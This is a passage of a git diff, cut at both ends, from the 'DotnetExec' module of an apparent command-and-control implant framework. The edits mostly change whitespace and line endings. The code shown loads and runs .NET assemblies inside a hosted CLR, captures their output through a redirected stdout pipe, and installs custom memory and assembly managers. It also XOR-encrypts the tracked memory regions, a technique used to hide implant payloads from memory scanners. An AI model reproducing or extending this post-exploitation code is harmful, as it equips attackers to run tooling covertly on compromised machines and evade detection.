processParameters->StandardOutput; - processParameters->StandardOutput = m_ioPipeWrite; + PRTL_USER_PROCESS_PARAMETERS_CUSTOM processParameters = ProcEnvBlk->ProcessParameters; + HANDLE consoleHandle = processParameters->StandardOutput; + processParameters->StandardOutput = m_ioPipeWrite; - try - { - hr = spType->InvokeMember_3(bstrStaticMethodName, static_cast(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public), - NULL, vtEmpty, psaStaticMethodArgs, &vtPSInvokeReturnVal); + try + { + hr = spType->InvokeMember_3(bstrStaticMethodName, static_cast(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public), + NULL, vtEmpty, psaStaticMethodArgs, &vtPSInvokeReturnVal); - spType->Release(); - SafeArrayDestroy(psaStaticMethodArgs); + spType->Release(); + SafeArrayDestroy(psaStaticMethodArgs); - if (FAILED(hr)) - { - processParameters->StandardOutput = consoleHandle; - return ERROR_INVOKE_METHOD_2; - } - } - catch (_com_error &e) - { - spType->Release(); - // std::cerr << "Exception: " << e.ErrorMessage() << std::endl; - SafeArrayDestroy(psaStaticMethodArgs); - processParameters->StandardOutput = consoleHandle; + if (FAILED(hr)) + { + processParameters->StandardOutput = consoleHandle; + return ERROR_INVOKE_METHOD_2; + } + } + catch (_com_error &e) + { + spType->Release(); + // std::cerr << "Exception: " << e.ErrorMessage() << std::endl; + SafeArrayDestroy(psaStaticMethodArgs); + processParameters->StandardOutput = consoleHandle; - return ERROR_INVOKE_METHOD_3; - } - catch (...) - { - spType->Release(); - // std::cerr << "Exception: unknown" << std::endl; - SafeArrayDestroy(psaStaticMethodArgs); - processParameters->StandardOutput = consoleHandle; + return ERROR_INVOKE_METHOD_3; + } + catch (...) + { + spType->Release(); + // std::cerr << "Exception: unknown" << std::endl; + SafeArrayDestroy(psaStaticMethodArgs); + processParameters->StandardOutput = consoleHandle; - return ERROR_INVOKE_METHOD_4; - } + return ERROR_INVOKE_METHOD_4; + } - // Get the response - wstring ws(vtPSInvokeReturnVal.bstrVal); - std::string str(ws.begin(), ws.end()); - result += str; + // Get the response + wstring ws(vtPSInvokeReturnVal.bstrVal); + std::string str(ws.begin(), ws.end()); + result += str; DWORD bytesAvailable = 0; BOOL res = PeekNamedPipe(m_ioPipeRead, NULL, 0, NULL, &bytesAvailable, NULL); if(res && bytesAvailable > 0) - { - DWORD outputLength = 0; - std::string buffer; - buffer.resize(0x100000); - if (!ReadFile(m_ioPipeRead, buffer.data(), 0x100000, &outputLength, nullptr)) - return -100; - buffer.resize(outputLength); + { + DWORD outputLength = 0; + std::string buffer; + buffer.resize(0x100000); + if (!ReadFile(m_ioPipeRead, buffer.data(), 0x100000, &outputLength, nullptr)) + return -100; + buffer.resize(outputLength); - result+=buffer; - } + result+=buffer; + } - processParameters->StandardOutput = consoleHandle; - // SetStdHandle(STD_OUTPUT_HANDLE, consoleHandle); - - // encryptMem(); + processParameters->StandardOutput = consoleHandle; + // SetStdHandle(STD_OUTPUT_HANDLE, consoleHandle); + + // encryptMem(); - return 0; + return 0; } #endif @@ -1195,60 +1195,60 @@ int DotnetExec::invokeMethodDll(const std::string name, const string& method, co int DotnetExec::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) - int errorCode = c2RetMessage.errorCode(); - if(errorCode>0) - { - if(errorCode==ERROR_INIT_CLR_1) - errorMsg = "Failed: CLRCreateInstance"; - else if(errorCode==ERROR_INIT_CLR_2) - errorMsg = "Failed: GetRuntime"; - else if(errorCode==ERROR_INIT_CLR_3) - errorMsg = "Failed: RuntimeInfo - IsLoadable"; - else if(errorCode==ERROR_INIT_CLR_4) - errorMsg = "Failed: RuntimeInfo - GetInterface CLRRuntimeHost"; - else if(errorCode==ERROR_INIT_CLR_5) - errorMsg = "Failed: ClrRuntimeHost - Start"; - else if(errorCode==ERROR_INIT_CLR_6) - errorMsg = "Failed: RuntimeInfo - GetInterface CorRuntimeHost"; - else if(errorCode==ERROR_INIT_CLR_7) - errorMsg = "Failed: CorHost - GetDefaultDomain"; - else if(errorCode==ERROR_INIT_CLR_8) - errorMsg = "Failed: AppDomainThunk - QueryInterface"; - - else if(errorCode==ERROR_LOAD_ASSEMLBY_1) - errorMsg = "Failed: IdentityManagerProc"; - else if(errorCode==ERROR_LOAD_ASSEMLBY_2) - errorMsg = "Failed: IdentityMnaager - GetBindingIdentityFromStream"; - else if(errorCode==ERROR_LOAD_ASSEMLBY_3) - errorMsg = "Failed: DefaultAppDomain - Load_2"; - else if(errorCode==ERROR_LOAD_ASSEMLBY_4) - errorMsg = "Failed: DefaultAppDomain - Load_3"; - else if(errorCode==ERROR_LOAD_ASSEMLBY_5) - errorMsg = "Failed: No module loaded"; + int errorCode = c2RetMessage.errorCode(); + if(errorCode>0) + { + if(errorCode==ERROR_INIT_CLR_1) + errorMsg = "Failed: CLRCreateInstance"; + else if(errorCode==ERROR_INIT_CLR_2) + errorMsg = "Failed: GetRuntime"; + else if(errorCode==ERROR_INIT_CLR_3) + errorMsg = "Failed: RuntimeInfo - IsLoadable"; + else if(errorCode==ERROR_INIT_CLR_4) + errorMsg = "Failed: RuntimeInfo - GetInterface CLRRuntimeHost"; + else if(errorCode==ERROR_INIT_CLR_5) + errorMsg = "Failed: ClrRuntimeHost - Start"; + else if(errorCode==ERROR_INIT_CLR_6) + errorMsg = "Failed: RuntimeInfo - GetInterface CorRuntimeHost"; + else if(errorCode==ERROR_INIT_CLR_7) + errorMsg = "Failed: CorHost - GetDefaultDomain"; + else if(errorCode==ERROR_INIT_CLR_8) + errorMsg = "Failed: AppDomainThunk - QueryInterface"; + + else if(errorCode==ERROR_LOAD_ASSEMLBY_1) + errorMsg = "Failed: IdentityManagerProc"; + else if(errorCode==ERROR_LOAD_ASSEMLBY_2) + errorMsg = "Failed: IdentityMnaager - GetBindingIdentityFromStream"; + else if(errorCode==ERROR_LOAD_ASSEMLBY_3) + errorMsg = "Failed: DefaultAppDomain - Load_2"; + else if(errorCode==ERROR_LOAD_ASSEMLBY_4) + errorMsg = "Failed: DefaultAppDomain - Load_3"; + else if(errorCode==ERROR_LOAD_ASSEMLBY_5) + errorMsg = "Failed: No module loaded"; - else if(errorCode==ERROR_INVOKE_METHOD_1) - errorMsg = "Failed: Assembly - GetType_2"; - else if(errorCode==ERROR_INVOKE_METHOD_2) - errorMsg = "Failed: Type - InvokeMember_3"; - else if(errorCode==ERROR_INVOKE_METHOD_3) - errorMsg = "Failed: InvokeMember_3 - COM exception"; - else if(errorCode==ERROR_INVOKE_METHOD_4) - errorMsg = "Failed: InvokeMember_3 - unknown exception"; + else if(errorCode==ERROR_INVOKE_METHOD_1) + errorMsg = "Failed: Assembly - GetType_2"; + else if(errorCode==ERROR_INVOKE_METHOD_2) + errorMsg = "Failed: Type - InvokeMember_3"; + else if(errorCode==ERROR_INVOKE_METHOD_3) + errorMsg = "Failed: InvokeMember_3 - COM exception"; + else if(errorCode==ERROR_INVOKE_METHOD_4) + errorMsg = "Failed: InvokeMember_3 - unknown exception"; - else if(errorCode==ERROR_INVOKE_METHOD_11) - errorMsg = "Failed: Assembly null"; - else if(errorCode==ERROR_INVOKE_METHOD_12) - errorMsg = "Failed: Assembly - EntryPoint"; - else if(errorCode==ERROR_INVOKE_METHOD_13) - errorMsg = "Failed: Invoke_3"; - else if(errorCode==ERROR_INVOKE_METHOD_14) - errorMsg = "Failed: Invoke_3 - COM exception"; - else if(errorCode==ERROR_INVOKE_METHOD_15) - errorMsg = "Failed: Invoke_3 - unknown exception"; + else if(errorCode==ERROR_INVOKE_METHOD_11) + errorMsg = "Failed: Assembly null"; + else if(errorCode==ERROR_INVOKE_METHOD_12) + errorMsg = "Failed: Assembly - EntryPoint"; + else if(errorCode==ERROR_INVOKE_METHOD_13) + errorMsg = "Failed: Invoke_3"; + else if(errorCode==ERROR_INVOKE_METHOD_14) + errorMsg = "Failed: Invoke_3 - COM exception"; + else if(errorCode==ERROR_INVOKE_METHOD_15) + errorMsg = "Failed: Invoke_3 - unknown exception"; - else - errorMsg = "Failed: Unknown error"; - } + else + errorMsg = "Failed: Unknown error"; + } #endif - return 0; + return 0; } \ No newline at end of file diff --git a/modules/DotnetExec/DotnetExec.hpp b/modules/DotnetExec/DotnetExec.hpp index 1ea4220..757d3bd 100644 --- a/modules/DotnetExec/DotnetExec.hpp +++ b/modules/DotnetExec/DotnetExec.hpp @@ -15,8 +15,8 @@ #include "HostControl.hpp" // Import mscorlib.tlb (Microsoft Common Language Runtime Class Library). -#import "mscorlib.tlb" auto_rename raw_interfaces_only \ - high_property_prefixes("_get","_put","_putref") \ +#import "mscorlib.tlb" auto_rename raw_interfaces_only \ + high_property_prefixes("_get","_put","_putref") \ rename("ReportEvent", "InteropServices_ReportEvent") #endif @@ -24,9 +24,9 @@ #ifdef _WIN32 struct AssemblyModule { - mscorlib::_AssemblyPtr spAssembly; - std::string name; - std::string type; + mscorlib::_AssemblyPtr spAssembly; + std::string name; + std::string type; }; #endif @@ -35,53 +35,53 @@ class DotnetExec : public ModuleCmd { public: - DotnetExec(); - ~DotnetExec(); + DotnetExec(); + ~DotnetExec(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); + int osCompatibility() + { return OS_WINDOWS; } private: - bool m_firstRun; + bool m_firstRun; - int clearAssembly(); - int clearCLR(); + int clearAssembly(); + int clearCLR(); #ifdef _WIN32 - bool m_memEcrypted; - bool m_moduleLoaded; + bool m_memEcrypted; + bool m_moduleLoaded; - // initCLR - ICLRMetaHost *m_pMetaHost; - ICLRRuntimeInfo *m_pRuntimeInfo; - ICLRRuntimeHost *m_pClrRuntimeHost; - MyHostControl* m_pCustomHostControl; - ICorRuntimeHost* m_pCorHost; - IUnknownPtr m_spAppDomainThunk; + // initCLR + ICLRMetaHost *m_pMetaHost; + ICLRRuntimeInfo *m_pRuntimeInfo; + ICLRRuntimeHost *m_pClrRuntimeHost; + MyHostControl* m_pCustomHostControl; + ICorRuntimeHost* m_pCorHost; + IUnknownPtr m_spAppDomainThunk; - // loadAssembly - mscorlib::_AppDomainPtr m_spDefaultAppDomain; - TargetAssembly* m_targetAssembly; - - int initCLR(); - int loadAssembly(const std::string& data, const std::string& name, const std::string& type); - int invokeMethodExe(const std::string name, const std::string& argument, std::string& result); - int invokeMethodDll(const std::string name, const std::string& method, const std::string& argument, std::string& result); - int encryptMem(); - int decryptMem(); + // loadAssembly + mscorlib::_AppDomainPtr m_spDefaultAppDomain; + TargetAssembly* m_targetAssembly; + + int initCLR(); + int loadAssembly(const std::string& data, const std::string& name, const std::string& type); + int invokeMethodExe(const std::string name, const std::string& argument, std::string& result); + int invokeMethodDll(const std::string name, const std::string& method, const std::string& argument, std::string& result); + int encryptMem(); + int decryptMem(); - std::vector m_assemblies; + std::vector m_assemblies; - HANDLE m_ioPipeRead; - HANDLE m_ioPipeWrite; + HANDLE m_ioPipeRead; + HANDLE m_ioPipeWrite; #endif diff --git a/modules/DotnetExec/HostControl.cpp b/modules/DotnetExec/HostControl.cpp index eed41d5..39ac68f 100644 --- a/modules/DotnetExec/HostControl.cpp +++ b/modules/DotnetExec/HostControl.cpp @@ -1,85 +1,85 @@ -#include "HostControl.hpp" - - -MyHostControl::MyHostControl(void) -{ - count = 0; - - m_assemblyManager = new MyAssemblyManager(); - m_memoryManager = new MyMemoryManager(); -}; - -MyHostControl::~MyHostControl(void) -{ - delete m_assemblyManager; - delete m_memoryManager; -}; - - -HRESULT STDMETHODCALLTYPE MyHostControl::QueryInterface(REFIID vTableGuid, void** ppv) -{ - // printf("MyHostControl_QueryInterface\n"); - - if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostControl)) - { - *ppv = 0; - return E_NOINTERFACE; - } - *ppv = this; - this->AddRef(); - return S_OK; -} - - -ULONG STDMETHODCALLTYPE MyHostControl::AddRef() -{ - // printf("MyHostControl_AddRef\n"); - - return(++((MyHostControl*)this)->count); -} - - -ULONG STDMETHODCALLTYPE MyHostControl::Release() -{ - // printf("MyHostControl_Release\n"); - - if (--((MyHostControl*)this)->count == 0) - { - GlobalFree(this); - return 0; - } - return ((MyHostControl*)this)->count; -} - - -// This is responsible for returning all of our manager implementations -// If you want to disable an interface just comment out the if statement -HRESULT STDMETHODCALLTYPE MyHostControl::GetHostManager(REFIID riid, void** ppObject) -{ - // printf("MyHostControl_GetHostManager\n"); - - if (IsEqualIID(riid, IID_IHostMemoryManager)) - { - *ppObject = m_memoryManager; - return S_OK; - } - - if (IsEqualIID(riid, IID_IHostAssemblyManager)) - { - *ppObject = m_assemblyManager; - return S_OK; - } - - *ppObject = NULL; - return E_NOINTERFACE; -} - - -// //This has some fun uses left as an exercise for the reader :) -HRESULT MyHostControl::SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager) -{ - // printf("MyHostControl_SetAppDomainManager\n"); - - return E_NOTIMPL; -} - +#include "HostControl.hpp" + + +MyHostControl::MyHostControl(void) +{ + count = 0; + + m_assemblyManager = new MyAssemblyManager(); + m_memoryManager = new MyMemoryManager(); +}; + +MyHostControl::~MyHostControl(void) +{ + delete m_assemblyManager; + delete m_memoryManager; +}; + + +HRESULT STDMETHODCALLTYPE MyHostControl::QueryInterface(REFIID vTableGuid, void** ppv) +{ + // printf("MyHostControl_QueryInterface\n"); + + if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostControl)) + { + *ppv = 0; + return E_NOINTERFACE; + } + *ppv = this; + this->AddRef(); + return S_OK; +} + + +ULONG STDMETHODCALLTYPE MyHostControl::AddRef() +{ + // printf("MyHostControl_AddRef\n"); + + return(++((MyHostControl*)this)->count); +} + + +ULONG STDMETHODCALLTYPE MyHostControl::Release() +{ + // printf("MyHostControl_Release\n"); + + if (--((MyHostControl*)this)->count == 0) + { + GlobalFree(this); + return 0; + } + return ((MyHostControl*)this)->count; +} + + +// This is responsible for returning all of our manager implementations +// If you want to disable an interface just comment out the if statement +HRESULT STDMETHODCALLTYPE MyHostControl::GetHostManager(REFIID riid, void** ppObject) +{ + // printf("MyHostControl_GetHostManager\n"); + + if (IsEqualIID(riid, IID_IHostMemoryManager)) + { + *ppObject = m_memoryManager; + return S_OK; + } + + if (IsEqualIID(riid, IID_IHostAssemblyManager)) + { + *ppObject = m_assemblyManager; + return S_OK; + } + + *ppObject = NULL; + return E_NOINTERFACE; +} + + +// //This has some fun uses left as an exercise for the reader :) +HRESULT MyHostControl::SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager) +{ + // printf("MyHostControl_SetAppDomainManager\n"); + + return E_NOTIMPL; +} + diff --git a/modules/DotnetExec/HostControl.hpp b/modules/DotnetExec/HostControl.hpp index 57c529c..c14615e 100644 --- a/modules/DotnetExec/HostControl.hpp +++ b/modules/DotnetExec/HostControl.hpp @@ -1,115 +1,115 @@ -#pragma once -#include -#include -#include - -#include "MemoryManager.hpp" -#include "AssemblyManager.hpp" - - -static const GUID xIID_IHostControl = { 0x02CA073C, 0x7079, 0x4860, {0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91} }; - - -inline void XOREncrypt2(char* address, int size, const std::string& xorKey) -{ - DWORD start = 0; - while (start < size) - { - *(address + start) ^= xorKey[start % xorKey.size()]; - start++; - } -} - - -class MyHostControl : public IHostControl -{ -public: - MyHostControl(void); - ~MyHostControl(void); - - virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); - virtual ULONG STDMETHODCALLTYPE AddRef(void); - virtual ULONG STDMETHODCALLTYPE Release(void); - - virtual HRESULT STDMETHODCALLTYPE GetHostManager(REFIID riid, void** ppObject); - virtual HRESULT STDMETHODCALLTYPE SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager); - - int setTargetAssembly(TargetAssembly * targetAssembly) - { - m_assemblyManager->setTargetAssembly(targetAssembly); - return 0; - } - - int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) - { - m_assemblyManager->updateTargetAssembly(identityManager, data); - return 0; - } - - LPWSTR getAssemblyInfo() - { - return m_assemblyManager->getAssemblyInfo(); - }; - - - const std::vector& getVirtualAllocList() - { - return m_memoryManager->getVirtualAllocList(); - } - - const std::vector& getMallocList() - { - return m_memoryManager->getMallocList(); - } - - int xorMemory(const std::string& xorKey) - { - std::vector vitualAllocList = getVirtualAllocList(); - - for (auto it = vitualAllocList.begin(); it != vitualAllocList.end(); ++it) - { - MemAllocEntry* entry = *it; - if (entry->Address && entry->type == MEM_ALLOC_MAPPED_FILE) - { - XOREncrypt2((char*)entry->Address, entry->size, xorKey); - } - } - - MEMORY_BASIC_INFORMATION memInfo; - DWORD oldProtect; - std::vector mallocList = getMallocList(); - for (auto it = mallocList.begin(); it != mallocList.end(); ++it) - { - MemAllocEntry* entry = *it; - - if(entry->Address) - { - ::VirtualQuery(entry->Address, &memInfo, sizeof(MEMORY_BASIC_INFORMATION)); - - if (memInfo.AllocationProtect != 0 && memInfo.State != 0x2000 && memInfo.State != 0x10000) - { - if (memInfo.Protect != PAGE_READWRITE) - { - ::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, PAGE_READWRITE, &oldProtect); - XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey); - ::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, oldProtect, &oldProtect); - } - else - { - XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey); - } - } - } - } - - return 0; - } - -protected: - DWORD count; - -private: - MyAssemblyManager* m_assemblyManager; - MyMemoryManager* m_memoryManager; - -}; +#pragma once +#include +#include +#include + +#include "MemoryManager.hpp" +#include "AssemblyManager.hpp" + + +static const GUID xIID_IHostControl = { 0x02CA073C, 0x7079, 0x4860, {0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91} }; + + +inline void XOREncrypt2(char* address, int size, const std::string& xorKey) +{ + DWORD start = 0; + while (start < size) + { + *(address + start) ^= xorKey[start % xorKey.size()]; + start++; + } +} + + +class MyHostControl : public IHostControl +{ +public: + MyHostControl(void); + ~MyHostControl(void); + + virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); + virtual ULONG STDMETHODCALLTYPE AddRef(void); + virtual ULONG STDMETHODCALLTYPE Release(void); + + virtual HRESULT STDMETHODCALLTYPE GetHostManager(REFIID riid, void** ppObject); + virtual HRESULT STDMETHODCALLTYPE SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager); + + int setTargetAssembly(TargetAssembly * targetAssembly) + { + m_assemblyManager->setTargetAssembly(targetAssembly); + return 0; + } + + int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) + { + m_assemblyManager->updateTargetAssembly(identityManager, data); + return 0; + } + + LPWSTR getAssemblyInfo() + { + return m_assemblyManager->getAssemblyInfo(); + }; + + + const std::vector& getVirtualAllocList() + { + return m_memoryManager->getVirtualAllocList(); + } + + const std::vector& getMallocList() + { + return m_memoryManager->getMallocList(); + } + + int xorMemory(const std::string& xorKey) + { + std::vector vitualAllocList = getVirtualAllocList(); + + for (auto it = vitualAllocList.begin(); it != vitualAllocList.end(); ++it) + { + MemAllocEntry* entry = *it; + if (entry->Address && entry->type == MEM_ALLOC_MAPPED_FILE) + { + XOREncrypt2((char*)entry->Address, entry->size, xorKey); + } + } + + MEMORY_BASIC_INFORMATION memInfo; + DWORD oldProtect; + std::vector mallocList = getMallocList(); + for (auto it = mallocList.begin(); it != mallocList.end(); ++it) + { + MemAllocEntry* entry = *it; + + if(entry->Address) + { + ::VirtualQuery(entry->Address, &memInfo, sizeof(MEMORY_BASIC_INFORMATION)); + + if (memInfo.AllocationProtect != 0 && memInfo.State != 0x2000 && memInfo.State != 0x10000) + { + if (memInfo.Protect != PAGE_READWRITE) + { + ::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, PAGE_READWRITE, &oldProtect); + XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey); + ::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, oldProtect, &oldProtect); + } + else + { + XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey); + } + } + } + } + + return 0; + } + +protected: + DWORD count; + +private: + MyAssemblyManager* m_assemblyManager; + MyMemoryManager* m_memoryManager; + +}; diff --git a/modules/DotnetExec/HostMalloc.cpp b/modules/DotnetExec/HostMalloc.cpp index 3247175..804b628 100644 --- a/modules/DotnetExec/HostMalloc.cpp +++ b/modules/DotnetExec/HostMalloc.cpp @@ -1,101 +1,101 @@ -#include "HostMalloc.hpp" -#include "MemoryManager.hpp" - -#include - - -MyHostMalloc::MyHostMalloc(void) -{ - count = 0; -} - - -MyHostMalloc::~MyHostMalloc(void) -{ - -} - - -HRESULT STDMETHODCALLTYPE MyHostMalloc::QueryInterface(REFIID vTableGuid, void** ppv) -{ - if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMalloc)) - { - *ppv = 0; - return E_NOINTERFACE; - } - *ppv = this; - this->AddRef(); - return S_OK; -} - - -ULONG STDMETHODCALLTYPE MyHostMalloc::AddRef() -{ - return(++((MyHostMalloc*)this)->count); -} - - -ULONG STDMETHODCALLTYPE MyHostMalloc::Release() -{ - if (--this->count == 0) - { - GlobalFree(this); - return 0; - } - return this->count; -} - - -HRESULT MyHostMalloc::Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem) -{ - LPVOID allocAddress = ::HeapAlloc(this->hHeap, 0, cbSize); - // std::cout << "MyHostMalloc::Alloc " << std::hex << allocAddress << std::endl; - - MemAllocEntry* allocEntry = new MemAllocEntry(); - allocEntry->Address = allocAddress; - allocEntry->size = cbSize; - allocEntry->type = MEM_ALLOC_MALLOC; - m_memAllocList.push_back(allocEntry); - - *ppMem = allocAddress; - if (*ppMem == NULL) - { - return E_OUTOFMEMORY; - } - else - { - return S_OK; - } -} - - -HRESULT MyHostMalloc::DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem) -{ - // std::cout << "MyHostMalloc::DebugAlloc" << std::endl; - - *ppMem = ::HeapAlloc(this->hHeap, 0, cbSize); - if (*ppMem == NULL) - { - return E_OUTOFMEMORY; - } - else - { - return S_OK; - } -} - - -HRESULT MyHostMalloc::Free(void* pMem) -{ - // std::cout << "MyHostMalloc::Free" << std::endl; - - if (!::HeapValidate(this->hHeap, 0, pMem)) - { - // std::cout << "Detected corrupted heap" << std::endl; - return E_OUTOFMEMORY; - } - ::HeapFree(this->hHeap, 0, pMem); - pMem = nullptr; - - return S_OK; +#include "HostMalloc.hpp" +#include "MemoryManager.hpp" + +#include + + +MyHostMalloc::MyHostMalloc(void) +{ + count = 0; +} + + +MyHostMalloc::~MyHostMalloc(void) +{ + +} + + +HRESULT STDMETHODCALLTYPE MyHostMalloc::QueryInterface(REFIID vTableGuid, void** ppv) +{ + if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMalloc)) + { + *ppv = 0; + return E_NOINTERFACE; + } + *ppv = this; + this->AddRef(); + return S_OK; +} + + +ULONG STDMETHODCALLTYPE MyHostMalloc::AddRef() +{ + return(++((MyHostMalloc*)this)->count); +} + + +ULONG STDMETHODCALLTYPE MyHostMalloc::Release() +{ + if (--this->count == 0) + { + GlobalFree(this); + return 0; + } + return this->count; +} + + +HRESULT MyHostMalloc::Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem) +{ + LPVOID allocAddress = ::HeapAlloc(this->hHeap, 0, cbSize); + // std::cout << "MyHostMalloc::Alloc " << std::hex << allocAddress << std::endl; + + MemAllocEntry* allocEntry = new MemAllocEntry(); + allocEntry->Address = allocAddress; + allocEntry->size = cbSize; + allocEntry->type = MEM_ALLOC_MALLOC; + m_memAllocList.push_back(allocEntry); + + *ppMem = allocAddress; + if (*ppMem == NULL) + { + return E_OUTOFMEMORY; + } + else + { + return S_OK; + } +} + + +HRESULT MyHostMalloc::DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem) +{ + // std::cout << "MyHostMalloc::DebugAlloc" << std::endl; + + *ppMem = ::HeapAlloc(this->hHeap, 0, cbSize); + if (*ppMem == NULL) + { + return E_OUTOFMEMORY; + } + else + { + return S_OK; + } +} + + +HRESULT MyHostMalloc::Free(void* pMem) +{ + // std::cout << "MyHostMalloc::Free" << std::endl; + + if (!::HeapValidate(this->hHeap, 0, pMem)) + { + // std::cout << "Detected corrupted heap" << std::endl; + return E_OUTOFMEMORY; + } + ::HeapFree(this->hHeap, 0, pMem); + pMem = nullptr; + + return S_OK; } \ No newline at end of file diff --git a/modules/DotnetExec/HostMalloc.hpp b/modules/DotnetExec/HostMalloc.hpp index e944bba..8fbdb2b 100644 --- a/modules/DotnetExec/HostMalloc.hpp +++ b/modules/DotnetExec/HostMalloc.hpp @@ -1,53 +1,53 @@ -#pragma once -#include -#include -#include - -#include - - -typedef enum -{ - MEM_ALLOC_LIST_HEAD, - MEM_ALLOC_MALLOC, - MEM_ALLOC_VIRTUALALLOC, - MEM_ALLOC_MAPPED_FILE -} memAllocTracker; - - -typedef struct _MemAllocEntry -{ - SLIST_ENTRY allocEntry; - void* Address; - SIZE_T size; - memAllocTracker type; -} MemAllocEntry; - - -class MyHostMalloc : public IHostMalloc -{ -public: - MyHostMalloc(void); - ~MyHostMalloc(void); - - virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); - virtual ULONG STDMETHODCALLTYPE AddRef(void); - virtual ULONG STDMETHODCALLTYPE Release(void); - - virtual HRESULT Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem); - virtual HRESULT DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem); - virtual HRESULT Free(void* pMem); - - HANDLE hHeap; - - const std::vector& getMemAllocList() - { - return m_memAllocList; - } - -protected: - DWORD count; - -private: - std::vector m_memAllocList; +#pragma once +#include +#include +#include + +#include + + +typedef enum +{ + MEM_ALLOC_LIST_HEAD, + MEM_ALLOC_MALLOC, + MEM_ALLOC_VIRTUALALLOC, + MEM_ALLOC_MAPPED_FILE +} memAllocTracker; + + +typedef struct _MemAllocEntry +{ + SLIST_ENTRY allocEntry; + void* Address; + SIZE_T size; + memAllocTracker type; +} MemAllocEntry; + + +class MyHostMalloc : public IHostMalloc +{ +public: + MyHostMalloc(void); + ~MyHostMalloc(void); + + virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); + virtual ULONG STDMETHODCALLTYPE AddRef(void); + virtual ULONG STDMETHODCALLTYPE Release(void); + + virtual HRESULT Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem); + virtual HRESULT DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem); + virtual HRESULT Free(void* pMem); + + HANDLE hHeap; + + const std::vector& getMemAllocList() + { + return m_memAllocList; + } + +protected: + DWORD count; + +private: + std::vector m_memAllocList; }; \ No newline at end of file diff --git a/modules/DotnetExec/MemoryManager.cpp b/modules/DotnetExec/MemoryManager.cpp index d1c883b..229f631 100644 --- a/modules/DotnetExec/MemoryManager.cpp +++ b/modules/DotnetExec/MemoryManager.cpp @@ -1,178 +1,178 @@ -#include "MemoryManager.hpp" -#include "HostMalloc.hpp" - -#include - - -MyMemoryManager::MyMemoryManager(void) -{ - count = 0; - m_mallocManager = new MyHostMalloc(); -} - - -MyMemoryManager::~MyMemoryManager(void) -{ - delete m_mallocManager; -} - - -HRESULT STDMETHODCALLTYPE MyMemoryManager::QueryInterface(REFIID vTableGuid, void** ppv) -{ - if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMemoryManager)) - { - *ppv = 0; - return E_NOINTERFACE; - } - *ppv = this; - this->AddRef(); - return S_OK; -} - - -ULONG STDMETHODCALLTYPE MyMemoryManager::AddRef() -{ - return(++((MyMemoryManager*)this)->count); -} - - -ULONG STDMETHODCALLTYPE MyMemoryManager::Release() -{ - if (--((MyMemoryManager*)this)->count == 0) - { - GlobalFree(this); - return 0; - } - return ((MyMemoryManager*)this)->count; -} - - -// This is called when the CLR wants to do heap allocations, it's responsible for returning our implementation of IHostMalloc -HRESULT MyMemoryManager::CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc) -{ - // std::cout << "MyMemoryManager::CreateMalloc" << std::endl; - - //C reate a heap and add it to our interface struct - HANDLE hHeap = NULL; - if (dwMallocType & MALLOC_EXECUTABLE) - { - hHeap = ::HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0); - } - else - { - hHeap = ::HeapCreate(0, 0, 0); - } - m_mallocManager->hHeap = hHeap; - - *ppMalloc = m_mallocManager; - return S_OK; -} - - -//The Virtual* API calls are responsible for non-heap memory management, you can just call the Virtual* APIs as intended or implement your own routines -HRESULT MyMemoryManager::VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD 